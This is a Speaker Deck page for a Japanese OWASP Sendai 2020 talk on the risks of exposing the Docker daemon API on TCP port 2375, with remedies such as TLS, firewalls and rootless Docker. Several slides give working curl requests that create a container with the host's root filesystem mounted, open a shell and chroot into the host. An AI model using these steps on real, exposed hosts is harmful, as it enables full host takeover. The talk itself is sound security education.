Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Docker 危険のキ!/Docker the beginning of danger
Search
yasu
February 10, 2020
Technology
260
1
Share
Docker 危険のキ!/Docker the beginning of danger
OWASP Sendai Day 2020 での発表資料です。
yasu
February 10, 2020
More Decks by yasu
See All by yasu
Dockerとは
yasu8899
1
890
ML基本のキの一筆目
yasu8899
0
80
はじめての文字認識_改
yasu8899
1
490
rancheros-in-raspberrypi
yasu8899
2
470
5分で説明する RancherOS+Rancher2インストール / rancherosinstall
yasu8899
0
710
Other Decks in Technology
See All in Technology
データを"持てない"環境でのアノテーション基盤設計
sansantech
PRO
1
100
Introduction to Sansan for Engineers / エンジニア向け会社紹介
sansan33
PRO
6
74k
Introduction to Bill One Development Engineer
sansan33
PRO
0
410
AIを共同作業者にして書籍を執筆する方法 / How to Write a Book with AI as a Co-Creator
ama_ch
2
130
扱える不確実性を増やしていく - スタートアップEMが考える「任せ方」
kadoppe
0
280
AWS DevOps Agentはチームメイトになれるのか?/ Can AWS DevOps Agent become a teammate
kinunori
6
670
Contract One Engineering Unit 紹介資料
sansan33
PRO
0
16k
Digitization部 紹介資料
sansan33
PRO
1
7.3k
みんなの「データ活用」を支えるストレージ担当から持ち込むAWS活用/コミュニティー設計TIPS 10選~「作れる」より、「続けられる」設計へ~
yoshiki0705
0
230
AWS認定資格は本当に意味があるのか?
nrinetcom
PRO
1
260
ハーネスエンジニアリングをやりすぎた話 ~そのハーネスは解体された~
gotalab555
3
1.2k
AzureのIaC管理からログ調査まで、随所に役立つSkillsとCustom-Instructions / Boosting IaC and Log Analysis with Skills
aeonpeople
0
190
Featured
See All Featured
GitHub's CSS Performance
jonrohan
1032
470k
Bootstrapping a Software Product
garrettdimon
PRO
307
120k
I Don’t Have Time: Getting Over the Fear to Launch Your Podcast
jcasabona
34
2.7k
Applied NLP in the Age of Generative AI
inesmontani
PRO
4
2.2k
Site-Speed That Sticks
csswizardry
13
1.2k
We Analyzed 250 Million AI Search Results: Here's What I Found
joshbly
1
1.2k
30 Presentation Tips
portentint
PRO
1
270
Navigating the moral maze — ethical principles for Al-driven product design
skipperchong
2
330
The Cost Of JavaScript in 2023
addyosmani
55
9.8k
Lightning Talk: Beautiful Slides for Beginners
inesmontani
PRO
1
520
Designing for Timeless Needs
cassininazir
0
190
State of Search Keynote: SEO is Dead Long Live SEO
ryanjones
0
180
Transcript
Docker 危険のキ! OWASP Sendai Day 2020 令和 2年 2月 8日
oda@sendai
OS: CentOS Linux release 8.0.1905 (Core) Client: Docker: 19.03.5 Server:
Docker Engine: 18.09.1 上記のバージョンで確認しています。 環境
H オプション 知っていますか?
Dockerは、デーモンとクライアントに分かれている。 ・通常実行するdockerコマンドは、クライアントです。 ・dockerコマンドから指示を受け取って、 実際にコンテナ操作を行うのがdockerデーモンです。 ・指示はDocker Remote APIで行っている。 デーモンとクライアント
・dockerデーモンに指定した場合、tcpでlisten出来るようになる。 ・dockerクライアントに指定した場合、 リモートのdockerデーモンにアクセス出来るようになる。 Hオプション
修正するファイル(docker01) /etc/systemd/system/multi-user.target.wants/docker.service ExecStart=/usr/bin/dockerd -H fd:// ↓ ExecStart=/usr/bin/dockerd -H fd:// -H
tcp://0.0.0.0:2375 デーモンの再起動(docker01) $ sudo systemctl daemon-reload $ sudo systemctl restart docker 実際の設定
プロセスの確認(docker01) $ ps ax | grep docker XXXX ? Ssl
0:00 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 listenされていることの確認(docker01) $ sudo ss -tnlp LISTEN 0 128 *:2375 *:* users:(("dockerd",pid=1080,fd=3)) 実際の設定
コンテナの確認(docker01) $ sudo docker container run -d --name nginx01 nginx
852116acb341aa5・・・ $ sudo docker container ls CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 852116acb341 nginx "nginx -g 'daemon of…" 35 seconds ago Up 33 seconds 80/tcp nginx01 コンテナの起動
別のマシンから実行する(docker02) $ docker -H tcp://XXX.XXX.XXX.XXX:2375 container ls CONTAINER ID IMAGE
COMMAND CREATED STATUS PORTS NAMES 852116acb341 nginx "nginx -g 'daemon of…" 2 minutes ago Up 2 minutes 80/tcp nginx01 ※この環境は、VirtualBox上で2台の仮想マシン(CentOS)を 起動しています。 XXX.XXX.XXX.XXX は、VirtualBoxを動かしている ホストのIPアドレスになります。 リモートしてみる
別のマシンから実行する(docker02) $ docker -H tcp://XXX.XXX.XXX.XXX:2375 image ls REPOSITORY TAG IMAGE
ID CREATED SIZE nginx latest 2073e0bcb60e 5 days ago 127MB hello-world latest fce289e99eb9 13 months ago 1.84kB リモートしてみる
API接続(docker02) $ curl XXX.XXX.XXX.XXX:2375/containers/json [{"Id":"852116acb341aa57417a45df4fdaa9f7f5e22547fa2146b9bc798614fc3bf 708","Names":["/nginx01"],"Image":"nginx","ImageID":"sha256:2073e0bcb60ee98 548d313ead5eacbfe16d9054f8800a32bedd859922a99a6e1","Command":"ngin x -g 'daemon
off;'","Created":1581089209,"Ports":[{"PrivatePort":80,"Type":"tcp"}],"Labels":{"ma intainer":"NGINX Docker Maintainers ・・・ dockerコマンドが使えるということは
API接続(docker02) $ curl XXX.XXX.XXX.XXX:2375/containers/json | python -m json.tool [ {
"Id": "852116acb341aa57417a45df4fdaa9f7f5e22547fa2146b9bc798614fc3bf708", "Names": [ "/nginx01" ], "Image": "nginx" dockerコマンドが使えるということは
API接続(docker02) $ curl XXX.XXX.XXX.XXX:2375/images/json | python -m json.tool [ {
"Containers": -1, ・・・ "RepoTags": [ "nginx:latest" ], ・・・ "RepoTags": [ "hello-world:latest" ], dockerコマンドが使えるということは
露出したDocker APIを介してコンテナに侵入する ボット型マルウェア「AESDDoS」について解説 投稿日:2019年7月9日 https://blog.trendmicro.co.jp/archives/21756 もうすでに ~ 一部抜粋 ~ ▪今回のAESDDoSによる攻撃について
今回確認された新しい攻撃では、攻撃者はまずTCP SYNパケットを、Dockerデーモ ンとの通信に使用されるデフォルトポートである2375に送信することによって、特定 のIP範囲を外部からスキャンします。
$ curl -X POST -H "Content-Type: application/json" \ -d '{"Image":
"nginx", "Mounts": [{"Source": "/", "Target": "/mnt", "Type": "bind"}]}' \ http://XXX.XXX.XXX.XXX:2375/containers/create {"Id":"123456789012345678901234567890","Warnings":null} ヤヴァいやつ1
$ curl -X POST -H "Content-Type: application/json" \ http://XXX.XXX.XXX.XXX:2375/containers/1234567890123456789 01234567890/start
実行の表示なし ヤヴァいやつ2
$ curl -X POST -H "Content-Type: application/json" \ -d '{"AttachStdin":
true, "AttachStdout": true, "Tty": true, "Cmd": [ "sh" ]}' \ http://XXX.XXX.XXX.XXX:2375/containers/1234567890123456789 01234567890/exec {"Id":"ABCDEFGABCDEFGABCDEFG"} ヤヴァいやつ3
$ curl -X POST -H "Content-Type: application/json" \ -d '{"Detach":
false, "Tty": true}' \ http://XXX.XXX.XXX.XXX/exec/ABCDEFGABCDEFGABCDEFG/start ※本当はここでコンテナ内のshellに繋ぎたかった。 パラメータが足りないのか、何も返ってきません。 Ctrl + c で止めます。 ヤヴァいやつ4
先ほど出来なかったので、素直にdockerコマンドで。 $ docker -H tcp://XXX.XXX.XXX.XXX:2375 container exec -it 123456789012345678901234567890 sh
# (コンテナの中です。) # ヤヴァいやつ5
# chroot /mnt sh-4.4# bash [root@ba4e368ef83c /]# ヤヴァいやつ6 この場所は、ホストのディレクトリツリーです。
[root@ba4e368ef83c /]# ps ax | grep docker XXXX ? Ssl
0:06 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 dockerデーモンは、当然ホスト上のプロセス いろいろと確認
[root@ba4e368ef83c ~]# docker container run -d nginx [root@ba4e368ef83c ~]# docker
container run -d nginx [root@ba4e368ef83c ~]# docker container run -d nginx [root@ba4e368ef83c ~]# docker container run -d nginx ・ ・ ・ いろいろと・・・
・FWやproxyを前面に立てる。 直接、APIをアクセスさせない。 対策
・TLS を有効にする 証明書を設定する。 APIにアクセスするときは、証明書で認証が必要。 Docker デーモンのソケットを守る http://docs.docker.jp/engine/articles/https.html#opensl-ca 対策
・リモート接続を使わない運用を考える。 なるべくssh でサーバにログインして、 unixドメインソケット接続する。 対策
・H オプションで指定できるIPは、 0.0.0.0 もしくは ホストのIPアドレスだけ。 誰もが接続可能で可能なので、非推奨です。 TIPC
dockerデーモンを非root権限で起動する。 Docker Ver 19.03 からの新機能。 Docker 19.03新機能 (root権限不要化、GPU対応強化、CLIプラグイン …) https://medium.com/nttlabs/docker-1903-5155754ff8ac
rootless docker
インストール手順 $ dnf install tar $ curl -fsSL https://get.docker.com/rootless |
sh $ echo 'export DOCKER_HOST=unix://$XDG_RUNTIME_DIR/docker.sock' >> ~/.bash_profile $ source ~/.bash_profile $ docker container run hello-world rootless docker
各コマンド・ファイルのパス ~/bin/docker ~/bin/dockerd ユーザ権限で動作する /var/run/user/1000/docker.sock ユーザ権限で動作する rootless docker
起動設定のファイル /home/user02/.config/systemd/user/docker.service 起動オプション ExecStart=/home/user02/bin/dockerd-rootless.sh --experimental --storage-driver=vfs ※実験的な機能かな?? rootless docker
起動コマンド $ systemctl start docker --user OS起動時に自動起動 $ systemctl enable
docker --user rootless docker
プロセスの確認 $ ps axu | grep docker user02 8525 0.0
1.2 109856 10480 ? Ssl 12:39 0:00 rootlesskit --net=vpnkit --mtu=1500 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run /home/user02/bin/dockerd-rootless.sh --experimental --storage-driver=vfs user02 8532 0.0 0.9 109856 8136 ? Sl 12:39 0:00 /proc/self/exe --net=vpnkit --mtu=1500 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run /home/user02/bin/dockerd-rootless.sh --experimental --storage-driver=vfs user02 8563 1.0 5.7 492804 48408 ? Sl 12:39 0:00 dockerd --experimental --storage-driver=vfs user02 8575 0.5 3.2 463220 26936 ? Ssl 12:39 0:00 containerd --config /run/user/1000/docker/containerd/containerd.toml --log-level info user02 8713 0.0 0.1 10284 1096 pts/0 R+ 12:40 0:00 grep --color=auto docker 全てユーザ権限!! rootless docker
rootless dockerで、ヤヴァいやつを試したかったのです が、 オプションを付けると起動しませんでした。 rootless docker
Docker 危険のキ! END